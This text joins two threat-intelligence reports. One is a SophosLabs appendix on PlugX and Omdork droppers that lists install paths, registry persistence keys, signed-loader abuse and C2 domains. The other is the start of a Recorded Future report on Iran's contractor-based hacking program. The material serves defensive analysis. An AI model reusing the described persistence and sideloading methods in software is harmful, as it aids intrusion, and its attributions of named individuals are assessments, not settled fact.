dea6525b696df4643b10eb91381d95eec51479d7 Second stage shellcode First stage shellcode Third stage shellcode WINDOWS\Tasks\n.dll Malware installer Exploited document M.T M.B 19A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: paris_declaration january_final.doc The dropped decoy document is corrupted.
On opening it, Word will show a conversion dialog as a result of the incomprehensible content.
System activity: Dropped to C:\Documents and Settings\All Users\DRM\emproxy\SX.EXE (digitally signed clean loader by Microsoft) and C:\Documents and Settings\All Users\DRM\emproxy\SXLOC.DLL and WINDOWS\Tasks\n.dll Registered for startup in HKLM\SYSTEM\CurrentControlSet\Services\sock5proxy  ImagePath and by dropping n.dll into the Windows Tasks directory.
The n.dll file is a first stage installer, loads M.B, which is dropped into the TEMP directory.
This installer is a self-extracting WinRAR that contains RasTls.exe and a config file.
After the installation, this RAR SFX file is removed from the system.
Payload is stored in the registry in HKCU\Software\BINARY  SXLOC.ZAP The payload is next generation P2P PlugX [http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.
html], date constant is decimal 20150108.
SAV detection: Troj/DocDrop-CD, Troj/Omdork-E, Troj/PlugX-AP CC servers: sumy2012.jkub.com Free dynamic DNS provider 6340a7916db67c1b6dc1731014bb440435578c66 http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html 20A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: Obama against IS.doc The dropped decoy document is corrupted just like in the previous case.
System activity: Dropped to C:\Documents and Settings\All Users\DRM\emproxy\SX.EXE (digitally signed clean loader by Microsoft) and C:\Documents and Settings\All Users\DRM\emproxy\SXLOC.DLL and WINDOWS\Tasks\n.dll Registered for startup in HKLM\SYSTEM\CurrentControlSet\Services\sock5proxy  ImagePath and by dropping n.dll into the Windows Tasks directory.
The n.dll file is a first stage installer, loads M.B, which is dropped into the TEMP directory.
This installer is a self-extracting WinRAR that contains RasTls.exe and a config file.
After the installation, this RAR SFX file is removed from the system.
Payload is stored in the registry in HKCU\Software\BINARY  SXLOC.ZAP The payload is next generation P2P PlugX [http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.
html], date constant is decimal 20150108.
SAV detection: Troj/DocDrop-CD, Troj/Omdork-E, Troj/PlugX-AP CC servers: dheeraj_gaurav.mooo.com Free dynamic DNS provider 739405cad3650ed0447a475f50f814f7c9787ff4 http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html 21A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: N/A On execution this dropper displays a blank decoy document.
System activity: Dropped to C:\Documents and Settings\All Users\DRM\RdeGL\fsguidll.exe (digitally signed clean loader by F-Secure) and C:\Documents and Settings\All Users\DRM\RdeGL\fslapi.dll (malware loader) and C:\Documents and Settings\All Users\DRM\RdeGL\fslapi.dll.gui (payload) and WINDOWS\Tasks\n.dll Registered for startup in HKLM\SYSTEM\CurrentControlSet\Services\dUuNvGfDQkAll ImagePath and by placing n.dll in the Windows Tasks directory.
The payload is next generation P2P PlugX [http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.
html], date constant is decimal 20141028.
The n.dll file executes a backup installer, M.B, which is dropped into the TEMP directory.
The only problem is that this file is never created.
SAV detection: Troj/DocDrop-CD, Troj/Omdork-E, Troj/PlugX-AP CC servers: www.notebookhk.net Registrant Name: lee stan Registrant Organization: lee stan Registrant Street: xianggangdiqu Registrant City: xianggangdiqu Registrant State/Province: xianggang Registrant Postal Code: 796373 Registrant Country: HK Registrant Phone : 0.04375094543 Registrant Phone Ext: Registrant Fax: 0.04375094543 Registrant Fax Ext: Registrant Email:stanleegmail.com 56b3f0f03ae12b56c000df67c1153d518c8a66fc This sample is an outlier.
It does not distribute PlugX, but uses a strikingly similar persistence method, with exactly the same file names that are used with PlugX installations.
Only the final payload is a different backdoor, Omdork, which has earlier been observed in PlugX related distribution channels.
http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html 22A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: United Nations Security Council Committee Pursuant to Resolutions1267.doc System activity: Dropped to C:\Documents and Settings\All Users\FlashUpdate\RasTls.exe and C:\Documents and Settings\All Users\FlashUpdate\msi.dll.mov (encrypted payload) and WINDOWS\Tasks\n.
dll.
The persistence is achieved by two methods: RasTls.exe is registered in HKCU\Software\ Microsoft\Windows\CurrentVersion\Run  msusr, and the n.dll is dropped to the Windows Tasks directory for  automatic execution.
While the file names are the same as in the case of many PlugX deployments, the files themselves are very different.
RasTls.exe is not digitally signed, it is the loader Trojan, that loads the encrypted payload from a resource.
This payload itself contains a loader code, and an embedded executable, that is the final payload.
The n.dll file executes a backup installer, M.B, which is dropped into the TEMP directory.
This installer is a self-extracting WinRAR that contains RasTls.exe and a config file.
There are still reasons to believe that this malware is strongly connected to the PlugX group: It uses the same filenames as some of the PlugX deployments It uses the same carrier document as the other PlugX variants in this campaign, including the unique shellcode The same n.dll is used in both the Omdork and PlugX deployments PlugX goes to the registry (and India) More than 100 million users in 150 countries rely on Sophos as the best protection against complex threats and data loss.
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SAV detection: Troj/DocDrop-CD, Troj/Omdork-E CC servers: www.togolaga.com Registrant Name: wang feng Registrant Organization: wang feng Registrant Street: beijingshi Registrant City: beijingshi Registrant State/Province: beijing Registrant Postal Code: 100000 Registrant Country: CN Registrant Phone : 86.01090888962 Registrant Phone Ext: Registrant Fax: 86.01090888962 Registrant Fax Ext: Registrant Email:battuya_2002yahoo.com United Kingdom and Worldwide Sales Tel: 44 (0)8447 671131 Email: salessophos.com North American Sales Toll Free: 1-866-866-2802 Email: nasalessophos.com Australia and New Zealand Sales Tel: 61 2 9409 9100 Email: salessophos.com.au Asia Sales Tel: 65 62244168 Email: salesasiasophos.com Oxford, UK  Boston, USA Copyright 2014.
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1180-06.14DD.tpna.simple http://www.sophos.com/products Overview Plugx in registry Peeled Tomato Multi-staged installer shellcode
CYBER THREAT ANALYSIS Irans Hacker Hierarchy Exposed By  Levi Gundert, Sanil Chohan, and Greg Lesnewich Recorded Future How the Islamic Republic of Iran Uses Contractors and Universities to Conduct Cyber Operations Recorded Future     www.recordedfuture.com    CTA-2018-0509 Scope Note: Insikt Group conducted interviews with a former Iranian hacker with first-hand knowledge of the information shared and was living in Iran when he started one of Irans first security forums.
This sources commentary forms the basis for the background on the genesis of Irans offensive cyber efforts.
Additional research was facilitated with Recorded Future and by leveraging third- party metadata and open source intelligence (OSINT) techniques using a variety of tools.
While we address historical background and precedent in the piece, the technical analysis regarding organizations and institutes in Irans offensive cyber program is based on data collected from March 1, 2018 to April 30, 2018.
Executive Summary Since at least 2009, the Islamic Republic of Iran has regularly responded to sanctions or perceived provocations by conducting offensive cyber campaigns.
The Islamic Republic has historically preferred to use proxies or front organizations both in physical conflict  Hezbollah against Israel and Yemen rebels against Saudi Arabia  and cyberattacks to achieve their policy goals.
Currently, Iran faces the prospect of negative economic impact via renewed sanctions.
On May 8, 2018 President Trump announced that the United States would not renew the waivers on sanctions against Iran.
The U.S will instead impose additional economic penalties , the combination of which amounts to a de facto U.S. withdrawal from the 2015 Joint Comprehensive Plan of Action (JCPOA) (commonly referred to as the Iran nuclear deal.
We assess, based on Irans previous reactions to economic pressure, that with President Trumps exit from the JCPOA, Iran is likely to respond by launching cyberattacks on Western businesses within months, if not faster.
Judging from historical patterns, the businesses likely to be at greatest risk are in many of the same sectors that were victimized by Iranian cyberattacks between 2012 and 2014 and include banks and financial services, government departments, critical infrastructure providers, and oil and energy.
Key Judgments The Islamic Republic has abandoned its typically deliberate and methodical approach to cyber operations on only two known occasions, in 2012 and in 2014, when a quick reactionary response was required.
We assess that when Iranian cyber operators respond to the U.S. withdrawal from the JCPOA that the operations will be staffed and executed by capable, but less trusted contractors.
Further, we assess that staffing these operations with less trusted contractors could result in a scenario where the Islamic Republic has difficulty controlling the scope and scale of the destructive cyberattacks once they have begun.
Recorded Future     www.recordedfuture.com    CTA-2018-0509 https://www.recordedfuture.com/iranian-saudi-cyber-conflict/ https://www.nytimes.com/2018/05/08/world/middleeast/trump-iran-nuclear-deal.html https://www.cnn.com/2018/05/08/politics/donald-trump-iran-deal-announcement-decision/index.html https://www.reuters.com/article/us-iran-nuclear-usa/trump-has-all-but-decided-to-withdraw-from-iran-nuclear-deal-sources-idUSKBN1I331R https://www.state.gov/e/eb/tfs/spi/iran/jcpoa/ https://www.state.gov/e/eb/tfs/spi/iran/jcpoa/ Iranian cyber operations are administered via a tiered approach, where an ideologically and politically trusted group of middle managers translate intelligence priorities into segmented cyber tasks which are then bid out to multiple contractors.
This creates a quasi-capitalistic system that pits contractors against each other for influence with the Iranian government.
The Islamic Republic operates with embedded paranoia, where ultimately, no one can be trusted.
The situation creates unique trade-offs in Irans government-sanctioned offensive cyber campaigns individuals with demonstrated adherence to the governments ideology and individuals with the greatest offensive cyber skills are almost always mutually exclusive.
Based on our sources conversations with other hackers in Iran, there are over 50 estimated contractors vying for Iranian government-sponsored offensive cyber projects.
Only the best individuals or teams succeed, are paid, and remain in business.
Insikt Group analyzed internet traffic relating to various institutes affiliated with the Iranian cyber ecosystem from March 1, 2018 to April 30, 2018.
As this is the first profiling of Iranian internet activity for these institutes, we cannot determine whether the suspicious activity we analyzed was in preparation of the U.S. announcement.
According to Insikt Groups source, to find and retain the best offensive cyber talent, Iranian government contractors are forced to mine closed-trust communities.
The links between the forums and contractors may illustrate that the trust communities begin with the Iranian security forums.
The History of Iranian Geopolitical Response and the Nuclear Agreement Decision Editors Note: Where applicable, information in this section was provided by a former Iranian hacker with direct access to the information provided.
Based on additional corroboration, we assess high confidence in this information.
We refer to this individual as Insikt Groups source in other sections where their information is cited.
Since 1979, Irans reactions to perceived Middle Eastern adversaries foreign policy has been a study in the use of proxies.
Specifically, Israel, Saudi Arabia, United States, and Iraq have been frequent targets of Iranian- funded military actions, most recently through Houthi rebels in Yemen, and Hezbollah everywhere else.
Since 2009, Iran has developed proxies in the cyber domain to partially obfuscate government fingerprints from foreign attacks.
Subsequent to starting a cyber operations program in 2009, the Iranian government had an immediate need to use the program in the fall of 2012 after U.S. President Obama imposed severe financial sanctions on Iran, including removing Iran from the SWIFT money transfer system.
Recorded Future     www.recordedfuture.com    CTA-2018-0509 https://en.wikipedia.org/wiki/Iranian_Revolution https://www.haaretz.com/middle-east-news/iran/the-four-battlegrounds-iran-uses-to-threaten-israel-and-the-middle-east-1.6049886 https://www.aljazeera.com/news/2017/11/saudi-iran-proxy-wars-pursuit-regional-hegemony-171113110353492.html https://en.wikipedia.org/wiki/1983_United_States_embassy_bombing https://www.brookings.edu/opinions/how-will-iraq-contain-irans-proxies/ https://www.haaretz.com/israel-news/iranian-armed-rebels-threaten-one-of-world-s-busiest-shipping-route-1.5790427 https://en.wikipedia.org/wiki/Hezbollah_military_activities https://www.reuters.com/article/us-iran-sanctions-swift/bankings-swift-says-ready-to-block-iran-transactions-idUSTRE81G26820120217 https://www.reuters.com/article/us-iran-sanctions-swift/bankings-swift-says-ready-to-block-iran-transactions-idUSTRE81G26820120217 According to Insikt Groups source, the Iranian government authorized denial-of-service attacks on Americas largest financial services companies as an immediate response to the sanctions in a campaign dubbed Operation Ababil.
A quick response was top priority, so time and planning were forgone luxuries for the Iranian government.
Instead, the Iranian government opted for speed and the most capable actors, regardless of demonstrated ideology.
Similarly, a year later in the fall of 2013, Sheldon Adelson (the CEO of Sands Corporation) publicly suggested that the United States should attack Iran with an atomic weapon.
In February 2014, Iran launched a destructive attack on the Sands Las Vegas Corporation that caused significant network damage.
This was the second public Iranian attack campaign on an American business, where the response called for speed over time and preparation.
The Iranian attacks in 2012 and 2014 were in contrast to the relatively slow and methodical work of APT 33, APT 34, and APT 35, developing custom malware, targeting data exfiltration from strategic intelligence targets such as U.S. military contractors, Middle East energy companies, and university research networks.
Recorded Future     www.recordedfuture.com    CTA-2018-0509 Comparing Iranian campaigns  methodical versus reactionary.
https://en.wikipedia.org/wiki/Operation_Ababil https://www.theatlantic.com/international/archive/2013/10/sheldon-adelson-has-idea-lob-nuclear-bomb-iranian-desert/309657/ https://www.theatlantic.com/international/archive/2013/10/sheldon-adelson-has-idea-lob-nuclear-bomb-iranian-desert/309657/ http://money.cnn.com/2015/02/27/technology/security/iran-hack-casino/index.html http://money.cnn.com/2015/02/27/technology/security/iran-hack-casino/index.html https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment Building a National Capability  History and Relationships Between Proxies The Iranian Revolution replaced the Persian monarchy and transitioned the Shahs power to the Islamic Republic, led by Ayatollah Ruhollah Khomeini.
Loyalty to the resulting theocracy was defined by alignment to the Supreme Leaders moral precepts.
The new leaders of Iran also established an intelligence and security organization, the Islamic Revolutionary Guard Corps (IRGC), charged with defending the Islamic Republic against internal and external threats.
Currently, the IRGC is Irans premier security organization and possesses an army, navy, and air force, and manages Irans ballistic missile arsenal and irregular warfare operations through its elite Quds Force and proxies such as Hezbollah.
The IRGC has a vast domestic information security and monitoring mandate, as well as broad foreign mission, and has been linked to cyberattacks against Western institutions since at least 2011.
According to Insikt Groups source, during the 2009 Green Revolution, Gerdab.ir emerged as the IRGCs domestic hacking group tasked with targeting opposition news websites and individuals considered immoral by the regime.
Iranian hackers targeting Iranian government resources (one example was defacing Khamanei.ir) were identified by Gerdab and imprisoned.
Gerdab continues to act as the Iranian governments internal censor.
Following the Green Revolution, the Iranian government considered adding a formal offensive cyber component to its existing intelligence apparatus, and was forced to address a personnel problem.
Iran needed a talented, but politically and religiously reliable workforce.
Stuxnet and scientist assassinations reminded Iran of the efficacy of Mossad and CIA programs, and according to Insikt Groups source, fervent religious ideology was the only way to demonstrate loyalty and build trust.
The emergence of the Iranian Cyber Army (ICA) as an extension of the IRGC was an initial attempt by the Islamic Republic at conducting internationally focused operations.
These operations were a departure from Gerdabs focus on maintaining domestic moral values and defending government rhetoric.
In 2011, the IRGCs ICA formed the foundation of the Khaybar Center for Information Technology.
According to a former IRGC cyber commander, the Khaybar Center was established in 2011 and has been linked to a number of attacks against the United States, Saudi Arabia, and Turkey.
Even today, the balance between ideology and cyber skills remains problematic.
One example of the conflict between ideology and skill was Mohammad Hussein Tajik, a former cyber commander within the IRGC.
According to Insikt Groups source, Tajiks father maintained a strong religious background and was a veteran of Irans ministry of intelligence.
Yet Tajik was arrested and killed because the Iranian government feared that Tajik was not ideologically aligned and posed a betrayal and flight risk.
Recorded Future     www.recordedfuture.com    CTA-2018-0509 http://foreignpolicy.com/2016/08/24/what-erdogan-and-khomeini-have-in-common-turkey-coup-iran/ http://foreignpolicy.com/2016/08/24/what-erdogan-and-khomeini-have-in-common-turkey-coup-iran/ https://www.cfr.org/backgrounder/irans-revolutionary-guards https://www.cfr.org/backgrounder/irans-revolutionary-guards http://www.washingtoninstitute.org/policy-analysis/view/irans-revolutionary-guards-corps-inc https://en.wikipedia.org/wiki/Stuxnet https://www.politico.com/magazine/story/2018/03/05/israel-assassination-iranian-scientists-217223 https://www.politico.com/magazine/story/2018/03/05/israel-assassination-iranian-scientists-217223 http://www.newsweek.com/irans-cyber-warfare-program-now-major-threat-united-states-745427 https://english.alarabiya.net/en/features/2017/01/15/Secrets-and-activities-of-Iran-s-electronic-army.html https://english.alarabiya.net/en/features/2017/01/15/Secrets-and-activities-of-Iran-s-electronic-army.html https://english.alarabiya.net/en/News/middle-east/2016/12/05/Iran-creates-electronic-Brigades-for-cyber-war.html https://web.archive.org/web/20170118050038/http://www.israelnationalnews.com/News/Flash.aspx/370899 Following the Green Revolution, Irans government needed to quickly improve its cyber capabilities, but according to Insikt Groups source, the talent was primarily young and focused on financial benefits.
This motivation bred government mistrust, as the Islamic Republic feared that the financially motivated could be bought by foreign intelligence services.
Additionally, many of the original Iranian hackers responsible for mass defacements hated authority and lacked the discipline necessary for government work.
According to Insikt Groups source, the government answer was a tiered approach, with a network of people unofficially associated with the IRGC and Iranian government  a type of ideologically aligned middle management  that were loyal to the regime and demonstrated sufficient religious commitment.
This middle tier translated intelligence priorities into segmented cyber tasks which were then bid out to multiple contractors.
Sometimes the contractors would compete with each other, sometimes they would work together, but payment was only made once the objective was completed.
The result was (and presently remains) a quasi-capitalistic system that pitted contractors against each other for influence with the Iranian government.
In the Islamic Republic, influence can lead to security and wealth, but it can also lead to a false sense of security (no one is above being imprisoned and questioned at any given time).
Thus, contractors must learn to play the game  enough surface-level adherence to the regimes ideology  to gain temporary reprieves from suspicion long enough to be given contracted work.
To the Iranian government, ideology is more important than skills.
Deep belief in the Ayatollahs precepts and the governments goals helps to avoid defections and traitors.
Recorded Future     www.recordedfuture.com   CTA-2018-0509 Obfuscating Iranian government involvement in offensive campaigns.
https://opennet.net/sites/opennet.net/files/iranreport.pdf http://www.ilanberman.com/13080/the-iranian-cyber-threat-revisited Recorded Future     www.recordedfuture.com    CTA-2018-0509 Today, based on ongoing contact between Insikt Groups source and Iranian hackers, it is estimated that there are over 50 organizations vying for government-sponsored offensive cyber projects.
Only the best teams succeed, are paid, and remain in business.
The government does its best to compartmentalize  one job might be creating a remote code exploit (RCE) for a popular software application, while another job might be using the RCE and establishing persistent unauthorized access.
Two different contractors (or more) are typically required to complete the government-defined objective.
Public knowledge has also established that Iranian academic institutions play a contractor-like role.
Specific examples include Shahid Beheshti University (SBU) and the Imam Hossein University (IHU), which have comprehensive science and technology departments attracting some of the best academic talent in Iran.
In fact, the SBU has a specific cyberspace research institute dedicated to such matters, and the IHU was founded by the IRGC.
As the Mabna Institute indictments highlight, despite the lifting of sanctions and an appetite to re-engage with the international community, Iran has continued a subversive and aggressive global cyber operations campaign.
This ongoing campaign, which targets universities for scientific and technological intellectual property theft, demonstrates a fundamental lack of trust in the international agreements, including the Joint Comprehensive Plan of Action (JCPOA).
Relationship Between the Iranian Government, Contractors, and Security Forums Clearsky, FireEye, Symantec, and PhishLabs have all performed significant research on Iranian nation-state-sponsored campaigns that provide historical insight into technical capabilities and relationships between the Iranian government and contractors.
The work of the aforementioned security companies and recent U.S. Department of Justice indictments provides consistent evidence that Iranian government-sponsored offensive campaigns are executed by contractors.
FireEye disclosed that the Nasr Institute was an APT 33 contractor in an operation that used publicly available backdoors and remote access trojans.
The handle xman_1365_x (self-identified on security forums as Mahdi Honarvar) was found by FireEye in malware artifacts, which open sources linked to the Nasr Institute.
Previously, Nasr Institute had been associated with Operation Ababils distributed denial-of-service attacks against American banks, an organization which a U.S. Department of Justice indictment confirms had been hired to build attack infrastructure by the Iranian government.
The actor xman_1365_x was then linked to a security company called Kavosh Security via OSINT by Iran Cyber News Agency.
The actor was linked to a destructive operation, which used NewsBeef and StoneDrill malware families.
According to Kaspersky, the latter data wiping operation targeted sectors across Saudi Arabia and Europe.
https://en.wikipedia.org/wiki/Shahid_Beheshti_University https://en.wikipedia.org/wiki/Shahid_Beheshti_University https://en.wikipedia.org/wiki/Imam_Hossein_University http://en.sbu.ac.ir/sitepages/home.aspx http://en.sbu.ac.ir/Research_Institutes/CyberspaceResearch/Pages/default.aspx http://en.sbu.ac.ir/Research_Institutes/CyberspaceResearch/Pages/default.aspx http://www.ihu.ac.ir/ https://www.iranwatch.org/iranian-entities/imam-hussein-university-revolutionary-guards https://www.iranwatch.org/iranian-entities/imam-hussein-university-revolutionary-guards https://www.fbi.gov/wanted/cyber/iranian-mabna-hackers https://www.state.gov/e/eb/tfs/spi/iran/jcpoa/ https://www.state.gov/e/eb/tfs/spi/iran/jcpoa/ https://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment https://www.justice.gov/opa/file/834996/download https://www.justice.gov/opa/file/834996/download https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html http://irancybernews.org/en/ICNA/6/393/ https://www.forbes.com/sites/thomasbrewster/2017/09/20/iran-hacker-crew-apt33-heading-for-destructive-cyberattacks/3a61aa224a48 https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html https://www.justice.gov/usao-sdny/file/835061/download http://irancybernews.org/en/ICNA/6/393/ https://securelist.com/from-shamoon-to-stonedrill/77725/ Recorded Future     www.recordedfuture.com    CTA-2018-0509 Command and control (C2) domains used by StoneDrill and NewsBeef in Kasperskys findings were found to share an SSL certificate, which surfaced an additional three domains in research by the Iran Cyber News Agency.
WHOIS information was then connected via open sources to Imam Hossein University (IHU).
IHU was named in sanctions by the U.S. Treasury for providing, or attempting to provide technological, or other support for and services in support of the IRGC.
Additional publicly known Iranian contractors include ITSecTeam (ITSEC) and Mersad Company, also linked to Operation Ababil.
The links between the Iranian government and contractors are well documented however, the identity of specific groups and individuals within the Iranian government and IRGC responsible for offensive cyber campaigns is murky, as is the relationship between contractors and security forums.
Yet, our research and analysis suggest that Iranian security forums may play a role in staffing and knowledge sharing for Iranian contractors.
First, FireEye referenced the publicly available ALFA TEaM Shell in APT33 spear phishing email campaigns.
The ALFA Shell is discussed in multiple web locations, including Ashiyane and Iranian Dark Coders Team Forum.
ALFA TEaM shell history.
http://irancybernews.org/en/ICNA/6/395/ https://www.treasury.gov/press-center/press-releases/Documents/Fact20Sheet20-20Sanctions20on20Iranian20Govt20and20Affiliates20-20November208,202012.pdf https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html Second, xman_1365_x created an Ashiyane profile on August 8, 2010, allegedly not long after Ashiyane temporarily became the primary security forum in Iran, following Behrooz Kamalians visit to prominent cleric, Ayatollah Naser Makarem Shirazi.
Recorded Future     www.recordedfuture.com    CTA-2018-0509 xman_1365_x created an Ashiyane profile in 2010.
Source: http://hackingscripts.com/simattacker-shell/ Finally, according to Insikt Groups source, Iranian contractor ITSEC specifically employed hackers from the respective online forums Simorgh and Delta Security.
Further, Hossein Asgari, a self-proclaimed Iranian hacker, managed the Simorgh forum and worked with his father, who was employed by the IRGC.
http://ashiyane.org/forums/member.php?1063336-xman_1365_x http://hackingscripts.com/simattacker-shell/ http://hackingscripts.com/simattacker-shell/ Recorded Future     www.recordedfuture.com    CTA-2018-0509 Zone-h captured website defacements committed by Hossein Asgari Source: http://www.zone-h.org/mirror/id/4479919 According to Insikt Groups source, to find and retain the best offensive cyber talent, Iranian government contractors are forced to mine closed-trust communities.
The links between the forums and contractors may illustrate that the trust communities begin with the Iranian security forums.
Analyzing Iranian Cyber Institute Internet Traffic Insikt Group analyzed internet traffic relating to various institutes affiliated with the Iranian cyber ecosystem from March 1, 2018 to April 30, 2018.
Our goal was to determine whether any of these institutes had forecasted Irans intentions in cyberspace leading up to the U.S. decision to withdraw from the 2015 JCPOA.
This is Insikt Groups first profiling of internet activity for Iranian cyber institutes.
While we cannot assess whether this level of activity is typical or not, monitoring it over time to determine changes in response to international pressure could be revealing.
Cyberspace Research Institute of Iran Irans Cyberspace Research Institute (CSRI) is a research center affiliated with the prestigious Shahid Beheshti University in Iran.
The institute commands a significant proportion of the universitys allocated IP space, with no fewer than eight /24 IP ranges registered to the CSRI in Iran, according to regional RIPE NCC records.
The ranges are listed below: http://www.zone-h.org/mirror/id/4479919 Recorded Future     www.recordedfuture.com    CTA-2018-0509 netname inetnum_start inetnum_end country mnt-by created CyberSpace-Research-Institute 31.184.130.0 31.184.130.255 IR MNT-MABNA 2013-08-31T06:02:20Z CyberSpace-Research-Institute 31.184.131.0 31.184.131.255 IR MNT-MABNA 2013-09-15T04:57:21Z CyberSpace-Research-Institute 31.184.132.0 31.184.132.255 IR MNT-MABNA 2013-09-15T05:02:03Z CyberSpace-Research-Institute 31.184.133.0 31.184.133.255 IR MNT-MABNA 2013-09-15T05:10:24Z CyberSpace-Research-Institute 31.184.134.0 31.184.134.255 IR MNT-MABNA 2013-09-15T05:11:21Z CyberSpace-Research-Institute 31.184.135.0 31.184.135.255 IR MNT-MABNA 2017-05-23T05:30:27Z Source: RIPE NCC database, ripe.net.
Insikt Group identified several activities of concern emanating from these ranges.
We discovered over 400 previously unreported SSH sessions between CSRI ranges and Spanish government and university networks from April 4, 2018 to April 9, 2018.
These exchanges involved the transfer of a large volume of data between the two networks.
The Spanish networks resolved to departments supporting the digital transformation of Spanish public services and multi-disciplined universities.
Direct network connectivity between the Iranian and Spanish institutions demonstrates that they either have a deep academic relationship and are sharing data with one another, or the large transfer of data from the Spanish institutes is unwarranted.
It is unlikely that CSRI would have a valid business interest with Spanish government departments, so the large volume of data transferred between the two networks over such a short period of time is a conspicuous indicator of possibly malicious activity.
Throughout April, Irans CSRI simultaneously demonstrated an increased interest in the Philippine Department of Science  Technology (DOST).
Similar to the Spanish network interactions, very large data volumes were exchanged between the two networks, denoting strong interest.
This level of engagement and interaction, particularly in light of the reduction of sanctions, and the thawing of relations between Iran and the West following the 2015 JCPOA, was expected between academia.
In fact, in 2015 and 2017, Philippine and Spanish universities agreed to expand scientific cooperation with Iranian institutions.
However, given CSRIs background, Irans demonstrated interest in using cyber operations to steal academic and intellectual property, and our evidence of ongoing campaigns targeting universities for theft worldwide, we assess that this activity between CSRI and these Spanish and Philippine universities may be malicious.
http://www.pcaarrd.dost.gov.ph/home/portal/index.php/quick-information-dispatch/2642-iran-ambassador-visits-pcaarrd https://en.isna.ir/news/96021307811/Iran-Spain-to-expand-scientific-cooperation Recorded Future     www.recordedfuture.com    CTA-2018-0509 CSRI was also observed in a large number of events dispatching the Parsijoo bot to crawl websites of interest.
According to Wikipedia, Parsijoo.ir is the second most popular search engine in Iran after Google and it uses the Parsijoobot to crawl websites for indexing purposes.
During our research, we noted repeated crawls of a specialist Canadian-Iranian immigration website, www.itc-canada[.
]com, using Parsijoo bot from CSRI IP ranges.
The crawls were observed throughout our data period from early March continuing right through to the end of April, suggesting a strong, persistent interest in this particular site.
Finally, we identified CSRI interacting with IPs registered to Ravand Cybertech Inc. Ravand Cybertech offers, via its website ravand[.
]com, cloud hosting solutions, among other services.
Ravand Cybertech has strong ties to the Iranian regime.
Historically, it hosted the website of the conservative news agency Fars which is affiliated with the Iranian military.
The companys registered IP ranges sit under AS12212 with the following prefixes ranged 198.55.48.0  198.55.61.255, 198.55.63.0  198.55.63.255 and 207.176.216.0  207.176.219.255.
Ravand Cybertech hosted a number of domains used by an Iranian Ministry of Intelligence Services (MOIS) agent, Massoud Khodabandeh, in a disinformation campaign conducted in Western media.
The campaign attempted to discredit and demonize the main Iranian opposition party, the Peoples Mojahedin Organization of Iran/Mojahedin-e Khalq (PMOI/MEK).
According to an opinion piece written for The Hill, the websites were found by the Pentagon to be created by order from Tehran.
Ravand Cybertech was identified as being an Iranian state-run company, which hosted fake news sites aimed at disseminating Iranian propaganda to undermine the efforts of Iranian-American lobbyists.
Based on the volume of activity observed during our research, we assess the CSRI may be engaged in supporting the malicious disinformation activities of Ravand Cybertech.
Imam Hossein University (Imam Hussein University) The Imam Hossein Comprehensive University (IHU) is an Iranian university based in Tehran that is affiliated with the Iranian Revolutionary Guard Corps (IRGC), the Iranian Ministry of Science, Research and Technology, and the Iranian Ministry of Defense and Armed Forces Logistics.
http://itc-canada.com/fa/home.htm https://www.memri.org/reports/iranian-regime-affiliated-websites-and-their-hosts http://thehill.com/blogs/pundits-blog/international/319141-americans-must-be-wary-of-irans-influence-over-us-media http://thehill.com/blogs/pundits-blog/international/319141-americans-must-be-wary-of-irans-influence-over-us-media http://iranlobby.net/campaign-of-disinformation-by-iran-regime-revealed/ Recorded Future     www.recordedfuture.com    CTA-2018-0509 netname inetnum_start inetnum_end country mnt-by created IMAMHOSSEINUNI 217.218.175.0 217.218.176.255 IR AS12880-MNT 2008-12-28T10:20:37Z IHUO 78.39.164.160 78.39.164.167 IR AS12880-MNT 2015-09-05T04:48:32Z Source: RIPE NCC database, ripe.net.
During our research, we found that IHU was also very interested in Spanish higher educational establishments and specific government departments.
In fact, two of the same Spanish establishments exchanged high data volumes with the IHU source range IPs.
Further web browsing activity from IHU ranges was noted to the website of a U.S.-based multinational engineering software company, Gamma Technologies.
The browsing activity was centered on its GT-SUITE software.
Gamma Technologies specializes in the development of simulation software for a wide variety of worldwide industries, including power generation.
Mabna Institute As previously detailed, the Mabna Institute was publicly identified in an FBI indictment as a front company engaged in hostile state-sponsored cyberespionage on behalf of the Iranian state.
Our OSINT research identified a single domain, mabna-ins[.
]ir, which could correspond to the group.
The domain was previously hosted on an Iranian IP 5.144.130[.
]23 and since April 22, 2017, points at German VPS IP 144.76.87[.
]86.
This VPS also hosts over 2,000 other domains, most of which are .ir domains.
Our research focused on the publicly noted IP ranges for the university, listed below: https://www.fbi.gov/wanted/cyber/iranian-mabna-hackers Recorded Future     www.recordedfuture.com    CTA-2018-0509 Source: mabna-ins[.
]ir Intent, Scenarios for Retaliation, and Recommendations According to the terms of the JCPOA, Tehran agreed to restrictions on its nuclear weapons program in exchange for sanctions relief.
However, various provisions of the accord expire at different times over the next 25 years, with some expiring as soon as 2025.
